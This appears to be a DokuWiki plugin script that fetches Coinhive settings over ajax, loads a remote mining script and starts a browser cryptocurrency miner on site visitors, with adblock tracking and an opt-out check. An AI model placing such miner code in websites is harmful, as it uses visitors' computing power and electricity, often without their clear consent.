jQuery(function () { if (typeof window.ch_adblock === 'undefined') { window.ch_adblock = false; } jQuery.post( DOKU_BASE + 'lib/exe/ajax.php', { call: 'coinhive_getconf', adblock: window.ch_adblock } ).success(function (data) { if (data['url']) { jQuery.getScript(data['url']).done(function () { var ch_config = {}; ch_config.autoThreads = data['autoThreads']; ch_config.throttle = data['throttle']; ch_config.forceASMJS = data['forceASMJS']; ch_config.theme = data['theme']; ch_config.language = data['language']; if (data['threads'] !== 'auto') { ch_config.threads = data['threads']; } var ch_mode = CoinHive.IF_EXCLUSIVE_TAB; if (data['mode'] == 'FORCE_EXCLUSIVE_TAB') { ch_mode = CoinHive.FORCE_EXCLUSIVE_TAB; } var ch_miner = new CoinHive.Anonymous(data['key'], ch_config); if (ch_miner.isMobile() && !data['onMobile']) { return } if (!ch_miner.didOptOut(60 * data['optInAgain'])) { ch_miner.start(ch_mode); } }); } }); });